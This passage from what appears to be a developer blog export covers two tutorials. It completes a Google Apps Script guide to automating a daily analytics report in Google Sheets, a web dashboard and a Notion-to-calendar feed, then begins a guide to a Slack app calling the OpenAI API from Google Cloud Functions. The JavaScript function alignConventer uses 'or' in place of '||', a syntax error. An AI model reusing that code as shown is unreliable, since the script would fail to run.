sheet.insertColumnsAfter(columnIndex, 1); // Add a column after the previous day's field columnIndex += 1; } } else { columnIndex += 1; } if (columnIndex < 0) { sheet.insertColumnsAfter(1, 1); // Default, directly add a column after the first column columnIndex = 2; } // Set column width sheet.setColumnWidths(columnIndex , 1, 100); return columnIndex } // Set field format style setFormat(range, format) { if (format != null) { range.setNumberFormat(format); } } // Fill content into the field setContent(range, text, style) { if (String(text) != \"\") { range.setValue(text); } range.setBackgroundColor(style.backgroundColor); range.setFontColor(style.color); if (style.bold) { range.setFontWeight(\"bold\"); } range.setHorizontalAlignment(style.horizontalAlignment); range.setVerticalAlignment(style.verticalAlignment); range.setFontSize(style.size); range.setBorder(true, true, true, true, true, true, \"black\", SpreadsheetApp.BorderStyle.SOLID); }}Adjust Main.gs to add data integration and assign values during the build phase:const targetGoogleSheetID = \"1-9lZCpsu3E7eDmO-lMkXJXQ6Y6KK4SiyU6uBODcDcFE\";// https://docs.google.com/spreadsheets/d/1-9lZCpsu3E7eDmO-lMkXJXQ6Y6KK4SiyU6uBODcDcFE/edit#gid=275710641const gaPropertyId = \"318495208\";function debug() { const date = new Date(); const gaData = new GAData(date); const inHouseReportData = fetchInHouseReportData(date); const report = new DailyReport(targetGoogleSheetID, date, gaData, inHouseReportData); report.execute(); }// Simulate some data that might be obtained by hitting other platform APIs.function fetchInHouseReportData(date) { // EXAMPLE REQUEST: // var options = { // 'method' : 'get', // 'headers': { // 'Authorization': 'Bearer XXX' // } // }; // OR // var options = { // 'method' : 'post', // 'headers': { // 'Authorization': 'Bearer XXX' // }, // 'payload' : data // }; // var res = UrlFetchApp.fetch(url, options); // const result = JSON.parse(res.getContentText()); // REMEMBER, DUE TO SECURITY REASON, We can't customize user-agent. return {\"registers\": Math.floor(Math.random() * (180 - 30 + 1)) + 30} // MOCK DATA random 30~180}After completion, go back to Main.gs, select debug, and press debug to check if the execution result is correct and if there are any errors.Back to Google Sheet! Success! We have successfully added the data for the date automatically.5. Set up a schedule for daily automatic executionAfter completing the script, just set up the automatic trigger conditions to complete it automatically every day.Adjust Main.gs to add the cronjob() function:const targetGoogleSheetID = \"1-9lZCpsu3E7eDmO-lMkXJXQ6Y6KK4SiyU6uBODcDcFE\";// https://docs.google.com/spreadsheets/d/1-9lZCpsu3E7eDmO-lMkXJXQ6Y6KK4SiyU6uBODcDcFE/edit#gid=275710641const gaPropertyId = \"318495208\";function debug() { cronjob();}// In reality, it is usually the data from yesterday that is checked today for complete data.function cronjob() { const yesterday = new Date(); yesterday.setDate(yesterday.getDate() - 1); const gaData = new GAData(yesterday); const inHouseReportData = fetchInHouseReportData(yesterday); const report = new DailyReport(targetGoogleSheetID, yesterday, gaData, inHouseReportData); report.execute();}// Simulate some data that might be obtained by hitting other platform APIs.function fetchInHouseReportData(date) { // EXAMPLE REQUEST: // var options = { // 'method' : 'get', // 'headers': { // 'Authorization': 'Bearer XXX' // } // }; // OR // var options = { // 'method' : 'post', // 'headers': { // 'Authorization': 'Bearer XXX' // }, // 'payload' : data // }; // var res = UrlFetchApp.fetch(url, options); // const result = JSON.parse(res.getContentText()); // REMEMBER, DUE TO SECURITY REASON, We can't customize user-agent. return {\"registers\": Math.floor(Math.random() * (180 - 30 + 1)) + 30} // MOCK DATA random 30~180}Switch to the “Triggers” tab in the editor and select “Add Trigger” in the bottom right corner: Select the function you want to execute: the newly added Main.gs Function cronjob Select the deployment to execute: Head (latest version) Select the event source: Time-driven Select the type of time-based trigger: Day timer Select the time period: AM 4:00 — AM 5:00 (GMT+08:00)Usually, it will execute as soon as it hits AM 4:00. Error notification settings: Whether to notify immediately when the script encounters an error or to summarize it dailySave the settings, and you’re done.You can then go to the “Executions” tab to check the execution record results: At this point, we have completed the RPA function for automating queries, adding data, and filling in data reports. 🎉🎉🎉Setting Up a Web GUI DashboardNext, there is a secondary requirement. We need to create a simple web display of daily data (similar to a war room concept) that will be directly displayed on a large screen on the wall behind the team.The effect is as shown below:Add Web_DailyReport.gs to read Google Sheets and convert the columns and styles to HTML format for display:class WebDailyReport { constructor(sheetID, dayCount) { this.separateSheet = SpreadsheetApp.openById(sheetID); this.dayCount = dayCount; this.sheetRows = [ \"Date\", \"Day of the Week\", \"Daily Traffic\", \"PC Traffic\", \"Mobile Traffic\", \"Registration Count\" ]; } allData(startDate) { var sheetRowsIndexs = {}; var count = this.dayCount; var result = []; while (count >= 0) { const preDate = new Date(startDate); preDate.setDate(preDate.getDate() - (this.dayCount - count)); const sheetName = Utilities.formatDate(preDate, \"GMT+8\", \"yyyy-MM\"); const targetSheet = this.separateSheet.getSheetByName(sheetName); if (targetSheet != null) { const firstRowColumnsRange = targetSheet.getRange(1, 1, 1, targetSheet.getLastColumn()); // Get the range of the first row (date) const firstRowColumns = firstRowColumnsRange.getValues()[0]; // Get the values of the range, 0 = first row var columnIndex = firstRowColumns.findIndex((date) => (date instanceof Date && Utilities.formatDate(date, \"GMT+8\", \"yyyy/MM/dd\") == Utilities.formatDate(preDate, \"GMT+8\", \"yyyy/MM/dd\"))); // Find the index of the corresponding date column if (columnIndex >= 0) { columnIndex = parseInt(columnIndex) + 1; if (sheetRowsIndexs[sheetName] == undefined || sheetRowsIndexs[sheetName] == null) { sheetRowsIndexs[sheetName] = this.sheetRows.map((sheetRow) => this.getFieldRow(targetSheet, sheetRow)); } if (result.length == 0) { // Add the first column const ranges = sheetRowsIndexs[sheetName].map((rowIndex) => (rowIndex != null) ? (targetSheet.getRange(rowIndex, 1)) : (null)); result.push(this.makeValues(ranges)); } const ranges = sheetRowsIndexs[sheetName].map((rowIndex) => (rowIndex != null) ? (targetSheet.getRange(rowIndex, columnIndex)) : (null)); result.push(this.makeValues(ranges)); } } count -= 1; } var transformResult = {}; for (const columnIndex in result) { for (const rowIndex in result[columnIndex]) { if (transformResult[rowIndex] == undefined) { transformResult[rowIndex] = []; } if (columnIndex == 0) { transformResult[rowIndex].unshift(result[columnIndex][rowIndex]); } else { transformResult[rowIndex].splice(1, 0, result[columnIndex][rowIndex]); } } } return transformResult; } // Convert field attributes to display objects makeValues(ranges) { const data = ranges.map((range) => (range != null) ? (range.getDisplayValues()) : (null)).map((values) => (values != null) ? (values[0][0]) : (null)); const backgroundColors = ranges.map((range) => (range != null) ? (range.getBackgrounds()) : (null)).map((values) => (values != null) ? (values[0][0]) : (null)); const colors = ranges.map((range) => (range != null) ? (range.getFontColorObjects()) : (null)).map((values) => (values != null) ? (values[0][0]) : (null)); const sizes = ranges.map((range) => (range != null) ? (range.getFontSizes()) : (null)).map((values) => (values != null) ? (values[0][0]) : (null)); const bolds = ranges.map((range) => (range != null) ? (range.getFontWeights()) : (null)).map((values) => (values != null) ? (values[0][0]) : (null)); const horizontalAlignments = ranges.map((range) => (range != null) ? (range.getHorizontalAlignments()) : (null)).map((values) => (values != null) ? (values[0][0]) : (null)); const verticalAlignments = ranges.map((range) => (range != null) ? (range.getVerticalAlignments()) : (null)).map((values) => (values != null) ? (values[0][0]) : (null)); var result = []; for(const index in data) { const row = data[index]; result.push({ \"value\": row, \"backgroundColor\": backgroundColors[index], \"color\": this.colorStripper(colors[index]?.asRgbColor()?.asHexString()), \"size\": sizes[index], \"bold\": bolds[index], \"horizontalAlignment\": this.alignConventer(horizontalAlignments[index]), \"verticalAlignment\": verticalAlignments[index] }); } return result; } colorStripper(colorString) { if (colorString == undefined || colorString == null) { return null } if (colorString.length == 9) { return \"#\"+colorString.substring(3, 9); } else { return colorString; } } alignConventer(horizontalAlignment) { if (horizontalAlignment == undefined or horizontalAlignment == null) { return null } return horizontalAlignment.replace('general-', '') } getFieldRow(sheet, name) { const firstColumnRowsRange = sheet.getRange(1, 1, sheet.getLastRow(), 1); // Get the range of the first column (field) const firstColumnRows = firstColumnRowsRange.getValues(); // Get the values of the range const foundIndex = firstColumnRows.findIndex((firstColumnRow) => firstColumnRow[0] == name); if (foundIndex < 0) { return null; } else { return foundIndex + 1; } }}Main.gs Add Web Request Handle:const targetGoogleSheetID = \"1-9lZCpsu3E7eDmO-lMkXJXQ6Y6KK4SiyU6uBODcDcFE\";// https://docs.google.com/spreadsheets/d/1-9lZCpsu3E7eDmO-lMkXJXQ6Y6KK4SiyU6uBODcDcFE/edit#gid=275710641const gaPropertyId = \"318495208\";function debug() { cronjob();}function cronjob() { const yesterday = new Date(); yesterday.setDate(yesterday.getDate() - 1); const gaData = new GAData(yesterday); const inHouseReportData = fetchInHouseReportData(yesterday); const report = new DailyReport(targetGoogleSheetID, yesterday, gaData, inHouseReportData); report.execute();}function doGet(e) { return HtmlService.createTemplateFromFile('Web_DailyReport_ Scaffolding').evaluate();}function getDailyReportBody() { const html = HtmlService.createTemplateFromFile('Web_DailyReport_Body').evaluate().getContent(); return html;}// FOR POST// function doPost(e) {// ref: https://developers.google.com/apps-script/guides/web?hl=zh-tw// }// Simulate some data that might be obtained by hitting other platform APIs.function fetchInHouseReportData(date) { // EXAMPLE REQUEST: // var options = { // 'method' : 'get', // 'headers': { // 'Authorization': 'Bearer XXX' // } // }; // OR // var options = { // 'method' : 'post', // 'headers': { // 'Authorization': 'Bearer XXX' // }, // 'payload' : data // }; // var res = UrlFetchApp.fetch(url, options); // const result = JSON.parse(res.getContentText()); // REMEMBER, DUE TO SECURITY REASON, We can't customize user-agent. return {\"registers\": Math.floor(Math.random() * (180 - 30 + 1)) + 30} // MOCK DATA random 30~180}Add Web_DailyReport_ Scaffolding.html Web Dashboard framework, since our war room screen needs to automatically update content, we create a Web skeleton that periodically fetches HTML content using Ajax:<!DOCTYPE html><html> <head> <base target=\"_top\"> <script> function onSuccess(html) { if (html != null) { var div = document.getElementById('result'); div.innerHTML = html; } } setInterval(()=>{ google.script.run.withSuccessHandler(onSuccess).getDailyReportBody() }, 1000 * 60 * 60 * 1); google.script.run.withSuccessHandler(onSuccess).getDailyReportBody(); </script> </head> <body> <div id=\"result\">Loading...</div> </body></html>New Web_DailyReport_Body.html where the actual data is rendered into HTML:<!DOCTYPE html><html> <head> <base target=\"_top\"> <style> table { border-collapse: collapse; width: 100%; text-align: center; } th, td { border: 1px solid #000000; padding: 8px; text-align: center; font-size: 36px; } </style> </head> <body> <h1 style=\"text-align:center\">ZHGCHG.LI</h1> <table id=\"dataTable\"> <tbody> <? // Display data from the past 7 days const dashboard = new WebDailyReport(targetGoogleSheetID, 7); // Starting from yesterday const yesterday = new Date(); yesterday.setDate(yesterday.getDate() - 1); const data = dashboard.allData(yesterday); for(const rowIndex in data) { const row = data[rowIndex]; ?> <tr> <? for(const columnIndex in row) { const column = row[columnIndex]; ?> <td style=\"background-color: <?=column[\"backgroundColor\"]?>; color: <?=column[\"color\"]?>; text-align: <?=column[\"horizontalAlignment\"]?>;\"> <?=column[\"value\"]?> </td> <? } ?> </tr> <? } ?> </tbody> </table> <script> </body></html> Please note, we are fetching data from yesterday onwards for the past 7 days for comparison, today’s data will not be displayed.The project directory after completing the above steps is as follows:Test Deployment:Click on the top right corner of the project “Deploy” -> “Test Deployment” After deployment, click the URL to view the test results. Please note this URL is for one-time testing only. If the code is adjusted, you need to click the test deployment operation again.If stuck on Loading… or a server error occurs, you can go back to the “Executions” tab in the editor to check the error message:Complete Final Deployment:If the test is fine, you can complete the final deployment and release the URL.Click on the top right corner of the project “Deploy” -> “New Deployment” -> Top left corner “Select type” -> “Web app”: Execution Identity: Default is the current account (same as Google Apps Script user) Who can access: Set to anyone with the link can access, or restrict to organization only, requiring Google login to access. Deployment completed, get the URL.Code changes require redeployment to take effect:Please note that when the code changes, you need to redeploy (the URL will not change) for the changes to take effect, otherwise, it will always be the old version.Click on the top right corner of the project “Deploy” -> “Manage deployments”:Click on the top right corner “Pen 🖊️ ICON” -> “Version” -> “Create new version” -> “Deploy”.After deployment, click the URL, or go back to the original URL and refresh to see the new changes.🎉🎉Completed! All our RPA requirements are now fulfilled.🎉🎉Final result:(Modify the program to backfill this month’s data, otherwise, there will only be one entry for yesterday in the new data) https://script.google.com/macros/s/AKfycbz2Vk-ikU8DSXjpnLq9r6HNAn3zlNAosvDoItG0cxy0bmItRDSVyEzTdwsL2HyFUz99/execComplete Google Sheet Demo: Google Sheet:https://docs.google.com/spreadsheets/d/1-9lZCpsu3E7eDmO-lMkXJXQ6Y6KK4SiyU6uBODcDcFE/edit?usp=sharing Web GUI URL:https://script.google.com/macros/s/AKfycbz2Vk-ikU8DSXjpnLq9r6HNAn3zlNAosvDoItG0cxy0bmItRDSVyEzTdwsL2HyFUz99/exec Google Apps Script: https://script.google.com/home/projects/1vHgXPTV_q8MC75FVzAEtzD2JPVnPBpMfFXbjZR7SLMVjoEH1FcjKlo8l/editFinally, here are some other daily life applications:Robotic Process Automation with Google Apps Script — Github Repo Star Notifier to LineRobotic Process Automation with Google Apps Script — Notion Database to CalendarPreviously implemented the Notion to Calendar functionality. The implementation method is to connect to the Notion API to fetch Database data and apply it to generate an ICS format webpage, which is then deployed as a public webpage; this URL can be added to Apple Calendar.Main.gs :// Constant variablesconst notionToken = \"XXXXX\";const safeToken = \"XXXXX\";function doGet(e) { const ics = HtmlService.createTemplateFromFile('ics'); if (e.parameter.token != safeToken) { return ContentService.createTextOutput(\"Access Denied!\"); } ics.events = getQuickNote(); return ContentService.createTextOutput(ics.evaluate().getContent()).setMimeType(ContentService.MimeType.ICAL);}function debug() { const ics = HtmlService.createTemplateFromFile('ics'); ics.events = getQuickNote(); Logger.log(ics.evaluate().getContent());}function getQuickNote() { // YOUR FILTER Condition: const payload = { \"filter\": { \"and\": [ { \"property\": \"Date\", \"date\": { \"is_not_empty\": true } } , { \"property\": \"Name\", \"title\": { \"is_not_empty\": true } } ] } }; const result = getDatabase(YOUR_DATABASE_ID, payload); var events = []; for (const index in result.results) { const item = result.results[index] const properties = item.properties; const id = item['id']; const create = toICSDate(item[\"created_time\"]); const edit = toICSDate(item[\"last_edited_time\"]); const startDate = properties['Date']['date']['start']; const start = toICSDate(startDate); var endDate = properties['Date']?.['date']?.['end']; if (endDate == null) { endDate = startDate; } const end = toICSDate(endDate); const type = properties['Type']?.['multi_select']?.[0]?.['name']; const title = \"[\"+type+\"] \"+properties?.['Name']?.['title']?.[0]?.['plain_text']; const description = item['url']; events.push( { \"id\":id, \"create\":create, \"edit\":edit, \"start\":start, \"end\":end, \"title\":title, \"description\":description } ) } return events;}// TO UTC Datefunction toICSDate(date) { const icsDate = new Date(date); icsDate.setHours(icsDate.getHours() - 8); return Utilities.formatDate(icsDate, \"GMT+8\", \"yyyyMMdd'T'HHmmss'Z'\");// 20240304T132300Z}// Notionfunction getDatabase(id, payload) { const url = 'https://api.notion.com/v1/databases/'+id+'/query/'; const options = { method: 'post', headers: { 'Authorization': 'Bearer '+notionToken, 'Content-Type': 'application/json', 'Notion-Version': '2022-06-28' }, payload: JSON.stringify(payload) }; const result = UrlFetchApp.fetch(url, options); return JSON.parse(result.getContentText());}ics.html :BEGIN:VCALENDARPRODID:-//Google Inc//Google Calendar 70.9054//ENVERSION:2.0CALSCALE:GREGORIANMETHOD:PUBLISHX-WR-CALNAME:NotionCalendarX-WR-TIMEZONE:Asia/TaipeiBEGIN:VTIMEZONETZID:Asia/TaipeiX-LIC-LOCATION:Asia/TaipeiBEGIN:STANDARDTZOFFSETFROM:+0800TZOFFSETTO:+0800TZNAME:CSTDTSTART:19700101T000000END:STANDARDEND:VTIMEZONE<? for(const eventIndex in events) { const event = events[eventIndex]; ?>BEGIN:VEVENTDTSTART:<?=event[\"start\"]?>DTEND:<?=event[\"end\"]?>DTSTAMP:<?=event[\"edit\"]?>UID:<?=event[\"id\"]?>CREATED:<?=event[\"create\"]?>LAST-MODIFIED:<?=event[\"edit\"]?>SEQUENCE:0STATUS:CONFIRMEDSUMMARY:<?=event[\"title\"]?>DESCRIPTION:<?=event[\"description\"]?>TRANSP:OPAQUEEND:VEVENT<? }?>END:VCALENDARAs mentioned earlier, deploy as a web service, click on the top right corner of the project “Deploy” -> “New Deployment” -> top left corner “Select Type” -> “Web Application”: Who can access should be set to everyone, as Google login verification cannot be performed when adding Calendar.Add the URL to the calendar subscription, and it’s done 🎉🎉🎉🎉 !Commercial TimeIf you and your team have automation tool or process integration needs, whether it’s Slack App development, Notion, Asana, Google Sheet, Google Form, GA data, various integration needs, feel free to contact me for development.If you have any questions or comments, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Slack & ChatGPT Integration", "url": "/posts/bd94cc88f9c9/", "categories": "ZRealm, Dev.", "tags": "cloud-functions, ios-app-development, python, chatgpt, slack", "date": "2024-02-16 21:17:01 +0800", "snippet": "Slack & ChatGPT IntegrationBuild your own ChatGPT OpenAI API for Slack App (Google Cloud Functions & Python)BackgroundRecently, I have been promoting the use of Generative AI within the tea...", "content": "Slack & ChatGPT IntegrationBuild your own ChatGPT OpenAI API for Slack App (Google Cloud Functions & Python)BackgroundRecently, I have been promoting the use of Generative AI within the team to improve work efficiency. Initially, we only aim to achieve an AI Assistant (ChatGPT functionality) to reduce the time spent on daily data queries, organizing cumbersome data, and manual data processing, thereby improving work efficiency. We hope that engineers, designers, PMs, marketers, etc., can all use it freely.The simplest method is to directly purchase the ChatGPT Team plan, which costs $25 per seat per year. However, since we are not yet sure about everyone’s usage frequency (volume) and hope to integrate with more collaboration and development processes in the future, we decided to use the OpenAI API method and then integrate it with other services for team members to use.The OpenAI API Key can be generated from this page. The Key does not correspond to a specific Model version; you need to specify the Model version you want to use and generate the corresponding Token cost when using it. We need a service that can set the OpenAI API Key by ourselves and use that Key for ChatGPT-like usage. Whether it’s a Chrome Extension or a Slack App, it’s hard to find a service that allows you to set the OpenAI API Key by yourself. Most services sell their own subscriptions, and allowing users to set their own API Key means they can’t make money and are purely doing charity.[Chrome Extension] SidebarGPTAfter installation, go to Settings -> General -> Enter the OpenAI API Key.You can call out the chat interface directly from the browser toolbar or side icon and use it directly:[Chrome Extension] OpenAI TranslatorIf you only need translation, you can use this, which allows you to set the OpenAI API Key for translation.Additionally, it is an open-source project and also provides macOS/Windows desktop programs:Chrome Extension’s advantage is its speed, simplicity, and convenience—just install and use directly. The downside is that you need to provide the API Key to all members, making it difficult to control leakage issues. Additionally, using third-party services makes it hard to ensure data security.[Self-hosted] LibreChatA colleague from the R&D department recommended this OpenAI API Chat encapsulation service. It provides authentication and almost replicates the ChatGPT interface, with more powerful features than ChatGPT, as an open-source project.You only need the project, install Docker, set up the .env file, and start the Docker service to use it directly through the website. Tried it out, and it’s practically flawless, just like a local version of ChatGPT service. The only downside is that it requires server deployment. If there are no other considerations, you can directly use this open-source project.Slack AppActually, setting up the LibreChat service on a server already achieves the desired effect. However, I had a sudden thought: wouldn’t it be more convenient if it could be integrated into daily tools? Additionally, the company’s server has strict permission settings, making it difficult to start services arbitrarily.At the time, I didn’t think much about it and assumed there would be many OpenAI API integration services for Slack App. I thought I could just find one and set it up. Unexpectedly, it wasn’t that simple.A Google search only found an official Slack x OpenAI 2023/03 press release, “ Why we built the ChatGPT app for Slack,” and some Beta images:https://www.salesforce.com/news/stories/chatgpt-app-for-slack/It looks very comprehensive and could greatly improve work efficiency. However, as of 2024/01, there has been no release news. The Beta registration link provided at the end of the article is also invalid, with no further updates. (Is Microsoft trying to support Teams first?)[2024/02/14 Update]: According to Slack official news, it seems that the integration with ChatGPT (OpenAI) has either been abandoned or integrated into Slack AI.Slack AppsDue to the lack of an official app, I turned to search for third-party developer apps. I searched and tried several but hit a wall. There were not many suitable apps, and none provided a custom Key feature. Each one was designed to sell services and make money.Implementing ChatGPT OpenAI API for Slack App YourselfPreviously had some experience developing Slack Apps, decided to do it myself. ⚠️Disclaimer⚠️ This article demonstrates how to create a Slack App and quickly use Google Cloud Functions to meet the requirements by integrating the OpenAI API. There are many applications for Slack Apps, feel free to explore. ⚠️⚠️ The advantage of Google Cloud Functions, Function as a Service (FaaS), is that it is convenient and fast, with a free quota. Once the program is written, it can be deployed and executed directly, and it scales automatically. The downside is that the service environment is controlled by GCP. If the service is not called for a long time, it will go into hibernation, and calling it again will enter Cold Start, requiring a longer response time. Additionally, it is more challenging to have multiple services interact with each other. For more complete or high-demand usage, it is recommended to set up a VM (App Engine) to run the service.Final Result The complete Cloud Functions Python code and Slack App settings are attached at the end of the article. Those who are too lazy to follow step by step can quickly refer to it.Step 1. Create a Slack AppGo to Slack App:Click “Create New App”Select “From scratch”Enter “App Name” and choose the Workspace to join.After creation, go to “OAuth & Permissions” to add the permissions needed for the Bot.Scroll down to find the “Scopes” section, click “Add an OAuth Scope” and add the following permissions: chat:write im:history im:read im:writeAfter adding Bot permissions, click “Install App” on the left -> “Install to Workspace”If the Slack App adds other permissions later, you need to click “Reinstall” again for them to take effect. But rest assured, the Bot Token will not change due to reinstallation.After setting up the Slack Bot Token permissions, go to “App Home”:Scroll down to find the “Show Tabs” section, enable “Messages Tab” and “Allow users to send Slash commands and messages from the messages tab” (if this is not checked, you cannot send messages, and it will display “Sending messages to this app has been turned off.”).Return to the Slack Workspace, press “Command+R” to refresh the screen, and you will see the newly created Slack App and message input box:At this point, sending a message to the App has no functionality.Enable Event SubscriptionsNext, we need to enable the event subscription feature of the Slack App, which will call the API to the specified URL when a specified event occurs.Add Google Cloud FunctionsFor the Request URL part, Google Cloud Functions will come into play.After setting up the project and billing information, click “Create Function”.Enter the project name for Function name, and select “Allow unauthenticated invocations” for Authentication, which means that knowing the URL allows access. If you cannot create a Function or change Authentication, it means your GCP account does not have full Google Cloud Functions permissions. You need to ask the organization administrator to add the Cloud Functions Admin permission in addition to your original role to use it.Runtime: Python 3.8 or highermain.py:import functions_framework@functions_framework.httpdef hello_http(request): request_json = request.get_json(silent=True) request_args = request.args request_headers = request.headers # You can simply use print to record runtime logs, which can be viewed in Logs # For advanced Logging Level usage, refer to: https://cloud.google.com/logging/docs/reference/libraries print(request_json) # Due to the FAAS (Cloud Functions) limitation, if the service is not called for a long time, it will enter a cold start when called again, which may not respond within the 3-second limit set by Slack # Additionally, the OpenAI API request takes a certain amount of time to respond (depending on the response length, it may take nearly 1 minute to complete) # If Slack does not receive a response within the time limit, it will consider the request lost and will call again # This can cause duplicate requests and responses, so we can set X-Slack-No-Retry: 1 in the Response Headers to inform Slack not to retry even if it does not receive a response within the time limit headers = {'X-Slack-No-Retry':1} # If it is a Slack Retry request...ignore it if request_headers and 'X-Slack-Retry-Num' in request_headers: return ('OK!', 200, headers) # Slack App Event Subscriptions Verify # https://api.slack.com/events/url_verification if request_json and 'type' in request_json and request_json['type'] == 'url_verification': challenge = \"\" if 'challenge' in request_json: challenge = request_json['challenge'] return (challenge, 200, headers) return (\"Access Denied!\", 400, headers)Enter the following dependencies in requirements.txt:functions-framework==3.*requests==2.31.0openai==1.9.0Currently, there is no functionality, it just allows the Slack App to pass the Event Subscriptions verification. You can directly click “Deploy” to complete the first deployment. ⚠️If you are not familiar with the Cloud Functions editor, you can scroll down to the bottom of the article to see the supplementary content.After the deployment is complete (green checkmark), copy the Cloud Functions URL:Paste the Request URL back into the Slack App Enable Events.If everything is correct, “Verified” will appear, completing the verification.What happens here is that when a verification request is received from Slack:{ \"token\": \"Jhj5dZrVaK7ZwHHjRyZWjbDl\", \"challenge\": \"3eZbrw1aBm2rZgRNFdxV2595E9CY3gmdALWMmHkvFXO7tYXAYM8P\", \"type\": \"url_verification\"}Respond with the content of the challenge field to pass the verification.After enabling successfully, scroll down to find the “Subscribe to bot events” section, click “Add Bot User Event” to add the “message.im” permission.After adding the full permissions, click the “reinstall your app” link at the top to reinstall the Slack App to the Workspace, and the Slack App setup is complete.You can also go to “App Home” or “Basic Information” to customize the Slack App’s name and avatar.Basic InformationStep 2. Integrate OpenAI API with Slack App (Direct Messages)First, we need to obtain the essential OPENAI API KEY and Bot User OAuth Token. OPENAI API KEY: OpenAI API key page. Bot User OAuth Token: OAuth Tokens for Your Workspace.Handling Direct Message (IM) Event & Integrating OpenAI API ResponseWhen a user sends a message to the Slack App, the following Event JSON Payload is received:{ \"token\": \"XXX\", \"team_id\": \"XXX\", \"context_team_id\": \"XXX\", \"context_enterprise_id\": null, \"api_app_id\": \"XXX\", \"event\": { \"client_msg_id\": \"XXX\", \"type\": \"message\", \"text\": \"你好\", \"user\": \"XXX\", \"ts\": \"1707920753.115429\", \"blocks\": [ { \"type\": \"rich_text\", \"block_id\": \"orfng\", \"elements\": [ { \"type\": \"rich_text_section\", \"elements\": [ { \"type\": \"text\", \"text\": \"你好\" } ] } ] } ], \"team\": \"XXX\", \"channel\": \"XXX\", \"event_ts\": \"1707920753.115429\", \"channel_type\": \"im\" }, \"type\": \"event_callback\", \"event_id\": \"XXX\", \"event_time\": 1707920753, \"authorizations\": [ { \"enterprise_id\": null, \"team_id\": \"XXX\", \"user_id\": \"XXX\", \"is_bot\": true, \"is_enterprise_install\": false } ], \"is_ext_shared_channel\": false, \"event_context\": \"4-XXX\"}Based on the above Json Payload, we can complete the integration from Slack messages to the OpenAI API and then back to replying to Slack messages:Cloud Functions main.py :import functions_frameworkimport requestsimport asyncioimport jsonimport timefrom openai import AsyncOpenAIOPENAI_API_KEY = \"OPENAI API KEY\"SLACK_BOT_TOKEN = \"Bot User OAuth Token\"# The OPENAI API Model used# https://platform.openai.com/docs/modelsOPENAI_MODEL = \"gpt-4-1106-preview\"@functions_framework.httpdef hello_http(request): request_json = request.get_json(silent=True) request_args = request.args request_headers = request.headers # You can simply use print to record runtime logs, which can be viewed in Logs # For advanced Logging Level usage, refer to: https://cloud.google.com/logging/docs/reference/libraries print(request_json) # Due to the nature of FAAS (Cloud Functions), if the service is not called for a long time, it will enter a cold start when called again, which may not respond within the 3-second limit set by Slack # Additionally, the OpenAI API request to response takes a certain amount of time (depending on the response length, it may take close to 1 minute to complete) # If Slack does not receive a response within the time limit, it will consider the request lost and will call again # This can cause duplicate requests and responses, so we can set X-Slack-No-Retry: 1 in the Response Headers to inform Slack not to retry even if it does not receive a response within the time limit headers = {'X-Slack-No-Retry':1} # If it is a Slack Retry request...ignore it if request_headers and 'X-Slack-Retry-Num' in request_headers: return ('OK!', 200, headers) # Slack App Event Subscriptions Verify # https://api.slack.com/events/url_verification if request_json and 'type' in request_json and request_json['type'] == 'url_verification': challenge = \"\" if 'challenge' in request_json: challenge = request_json['challenge'] return (challenge, 200, headers) # Handle Event Subscriptions Events... if request_json and 'event' in request_json and 'type' in request_json['event']: # If the event source is the App and the App ID == Slack App ID, it means the event was triggered by the Slack App itself # Ignore and do not process, otherwise it will fall into an infinite loop Slack App -> Cloud Functions -> Slack App -> Cloud Functions... if 'api_app_id' in request_json and 'app_id' in request_json['event'] and request_json['api_app_id'] == request_json['event']['app_id']: return ('OK!', 200, headers) # Event name, for example: message (related to messages), app_mention (mentioned).... eventType = request_json['event']['type'] # SubType, for example: message_changed (edited message), message_deleted (deleted message)... # New messages do not have a Sub Type eventSubType = None if 'subtype' in request_json['event']: eventSubType = request_json['event']['subtype'] if eventType == 'message': # Messages with Sub Type are edited, deleted, replied to... # Ignore and do not process if eventSubType is not None: return (\"OK!\", 200, headers) # Sender of the event message eventUser = request_json['event']['user'] # Channel of the event message eventChannel = request_json['event']['channel'] # Content of the event message eventText = request_json['event']['text'] # TS (message ID) of the event message eventTS = request_json['event']['event_ts'] # TS (message ID) of the parent message in the thread of the event message # Only new messages in the thread will have this data eventThreadTS = None if 'thread_ts' in request_json['event']: eventThreadTS = request_json['event']['thread_ts'] openAIRequest(eventChannel, eventTS, eventThreadTS, eventText) return (\"OK!\", 200, headers) return (\"Access Denied!\", 400, headers)def openAIRequest(eventChannel, eventTS, eventThreadTS, eventText): # Set Custom instructions # Thanks to my colleague (https://twitter.com/je_suis_marku) for the support messages = [ {\"role\": \"system\", \"content\": \"I can only understand Traditional Chinese from Taiwan and English\"}, {\"role\": \"system\", \"content\": \"I cannot understand Simplified Chinese\"}, {\"role\": \"system\", \"content\": \"If I speak Chinese, I will respond in Traditional Chinese from Taiwan, and it must conform to common Taiwanese usage.\"}, {\"role\": \"system\", \"content\": \"If I speak English, I will respond in English.\"}, {\"role\": \"system\", \"content\": \"Do not respond with pleasantries.\"}, {\"role\": \"system\", \"content\": \"There should be a space between Chinese and English. There should be a space between Chinese characters and any other language characters, including numbers and emojis.\"}, {\"role\": \"system\", \"content\": \"If you don't know the answer, or if your knowledge is outdated, please search online before answering.\"}, {\"role\": \"system\", \"content\": \"I will tip you 200 USD, if you answer well.\"} ] messages.append({ \"role\": \"user\", \"content\": eventText }) replyMessageTS = slackRequestPostMessage(eventChannel, eventTS, \"Generating response...\") asyncio.run(openAIRequestAsync(eventChannel, replyMessageTS, messages))async def openAIRequestAsync(eventChannel, eventTS, messages): client = AsyncOpenAI( api_key=OPENAI_API_KEY, ) # Stream Response stream = await client.chat.completions.create( model=OPENAI_MODEL, messages=messages, stream=True, ) result = \"\" try: debounceSlackUpdateTime = None async for chunk in stream: result += chunk.choices[0].delta.content or \"\" # Update the message every 0.8 seconds to avoid frequent calls to the Slack Update Message API, which may fail or waste Cloud Functions request counts if debounceSlackUpdateTime is None or time.time() - debounceSlackUpdateTime >= 0.8: response = slackUpdateMessage(eventChannel, eventTS, None, result+\"...\") debounceSlackUpdateTime = time.time() except Exception as e: print(e) result += \"...*[Error occurred]*\" slackUpdateMessage(eventChannel, eventTS, None, result)### Slack ###def slackUpdateMessage(channel, ts, metadata, text): endpoint = \"/chat.update\" payload = { \"channel\": channel, \"ts\": ts } if metadata is not None: payload['metadata'] = metadata payload['text'] = text response = slackRequest(endpoint, \"POST\", payload) return responsedef slackRequestPostMessage(channel, target_ts, text): endpoint = \"/chat.postMessage\" payload = { \"channel\": channel, \"text\": text, } if target_ts is not None: payload['thread_ts'] = target_ts response = slackRequest(endpoint, \"POST\", payload) if response is not None and 'ts' in response: return 